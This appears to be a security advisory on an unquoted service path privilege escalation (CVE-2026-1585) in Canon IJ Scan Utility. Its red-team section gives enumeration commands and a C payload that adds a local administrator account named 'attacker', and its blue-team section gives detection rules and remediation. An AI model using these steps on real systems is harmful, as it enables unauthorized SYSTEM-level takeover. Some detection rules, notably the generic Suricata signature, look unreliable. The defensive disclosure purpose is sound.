CVE-2026-1585

Executive Summary

CVE-2026-1585 is a local privilege escalation vulnerability in Canon's IJ Scan Utility for Windows, affecting versions 1.1.2 through 1.5.0. The vulnerability stems from an unquoted service path in the Windows service executable, allowing a local attacker with low privileges to place a malicious executable in a directory that will be executed with the privileges of the affected service. This can lead to full system compromise.

Affected Ecosystem: Windows (Desktop Application) Attack Vector: Local Privileges Required: Low User Interaction: None

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows application vulnerability. The supply chain risk is limited to the distribution of the vulnerable Canon IJ Scan Utility installer. Users should only download the software from official Canon sources.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs a standard user account.
• User Interaction (UI): None (N) – No user action is required beyond the initial exploitation.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability in the wild), the vulnerability is trivial to exploit locally and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic Unquoted Service Path (CWE-428). Windows services are configured with a path to the executable. If this path contains spaces and is not enclosed in quotes, Windows will interpret the path as a series of arguments.

For example, if the service path is:

C:\Program Files\Canon\IJ Scan Utility\IJScanUtility.exe

Without quotes, Windows will attempt to execute the following in order:

1. C:\Program.exe
2. C:\Program Files\Canon\IJ.exe
3. C:\Program Files\Canon\IJ Scan.exe
4. C:\Program Files\Canon\IJ Scan Utility\IJScanUtility.exe

An attacker with write access to any of the parent directories (e.g., C:\Program Files\Canon\) can place a malicious executable named IJ.exe or IJ Scan.exe. When the service starts, Windows will execute the attacker's file instead of the legitimate Canon executable, with the privileges of the service (typically SYSTEM).

Root Cause: The Canon IJ Scan Utility installer or service configuration does not enclose the executable path in double quotes.

Vulnerable vs. Patched Code

Vulnerable Configuration (Unquoted Service Path):

[Service]
DisplayName=IJ Scan Utility
ImagePath=C:\Program Files\Canon\IJ Scan Utility\IJScanUtility.exe
Start=Auto

Patched Configuration (Quoted Service Path):

[Service]
DisplayName=IJ Scan Utility
ImagePath="C:\Program Files\Canon\IJ Scan Utility\IJScanUtility.exe"
Start=Auto

The fix is to wrap the ImagePath value in double quotes. Canon has not yet released a patch.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Canon IJ Scan Utility (versions 1.1.2 through 1.5.0) installed.
• Write access to a directory in the unquoted service path (e.g., C:\Program Files\Canon\).

Exploitation Steps:

1. Identify the vulnerable service:

   wmic service get name,displayname,pathname,startmode | findstr /i "IJ Scan"
   

2. Check for write permissions:

   icacls "C:\Program Files\Canon"
   

3. Create a malicious executable (e.g., IJ.exe) that spawns a reverse shell or adds a user:

   // compile with: x86_64-w64-mingw32-gcc -o IJ.exe payload.c
   #include <windows.h>
   int main() {
       system("net user attacker Password123! /add");
       system("net localgroup administrators attacker /add");
       return 0;
   }
   

4. Place the malicious executable in the writable directory:

   copy IJ.exe "C:\Program Files\Canon\IJ.exe"
   

5. Trigger the service restart (requires admin or reboot):

   sc stop "IJ Scan Utility"
   sc start "IJ Scan Utility"
   

Alternative (No Reboot): If the service is set to auto-start, wait for a system reboot.

Blue Team

Detection Steps:

1. Audit for unquoted service paths:

   Get-WmiObject win32_service | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -match ' '} | Select-Object Name, PathName
   

2. Monitor for suspicious file creation in C:\Program Files\Canon\:

   • Look for files named IJ.exe, IJ Scan.exe, or Program.exe in the Canon directory.
   • Use Sysmon Event ID 11 (FileCreate) to detect new executables in that path.

3. Monitor service start events:

   • Windows Event ID 7036 (Service Control Manager) indicates a service state change.
   • Correlate with process creation events (Event ID 4688) to see if an unexpected executable was launched.

Indicators of Compromise (IOCs)

File IOCs:

• C:\Program Files\Canon\IJ.exe (malicious)
• C:\Program Files\Canon\IJ Scan.exe (malicious)
• C:\Program.exe (malicious)

Process IOCs:

• Process name: IJ.exe or IJ Scan.exe running from C:\Program Files\Canon\
• Parent process: services.exe

Registry IOCs:

• HKLM\SYSTEM\CurrentControlSet\Services\IJ Scan Utility\ImagePath containing an unquoted path.

Network IOCs:

• Outbound connections from IJ.exe to a C2 server (if reverse shell is used).

Detection Engineering

YARA Rule

rule CVE_2026_1585_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for Canon IJ Scan Utility"
        author = "Valters IT"
        date = "2025-04-14"
        cve = "CVE-2026-1585"
        severity = "high"
    strings:
        $s1 = "IJ Scan Utility" nocase
        $s2 = "ImagePath" nocase
        $s3 = "C:\\Program Files\\Canon\\IJ Scan Utility\\IJScanUtility.exe" nocase
    condition:
        all of them
}

Sigma Rule

title: Canon IJ Scan Utility Unquoted Service Path Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2026-1585 via creation of malicious executables in the Canon directory.
author: Valters IT
date: 2025-04-14
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Program Files\Canon\'
        TargetFilename|endswith:
            - '\IJ.exe'
            - '\IJ Scan.exe'
            - '\Program.exe'
    condition: selection
falsepositives:
    - Legitimate Canon updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2026-1585 - Canon IJ Scan Utility - Potential C2 Beacon";
    flow:to_server,established;
    content:"|00 00 00 00|"; depth:4; offset:0;
    classtype:trojan-activity;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:

   sc config "IJ Scan Utility" binPath="\"C:\Program Files\Canon\IJ Scan Utility\IJScanUtility.exe\""
   

2. Restrict write permissions to C:\Program Files\Canon\ to only Administrators and SYSTEM.
3. Monitor for suspicious file creation in the Canon directory.

Long-term Fix:

• Canon must release a patched version that quotes the service path in the installer.
• Users should update to the latest version once available.

Workaround:

• Uninstall Canon IJ Scan Utility if not needed.
• Use a different scanning application.

Valters IT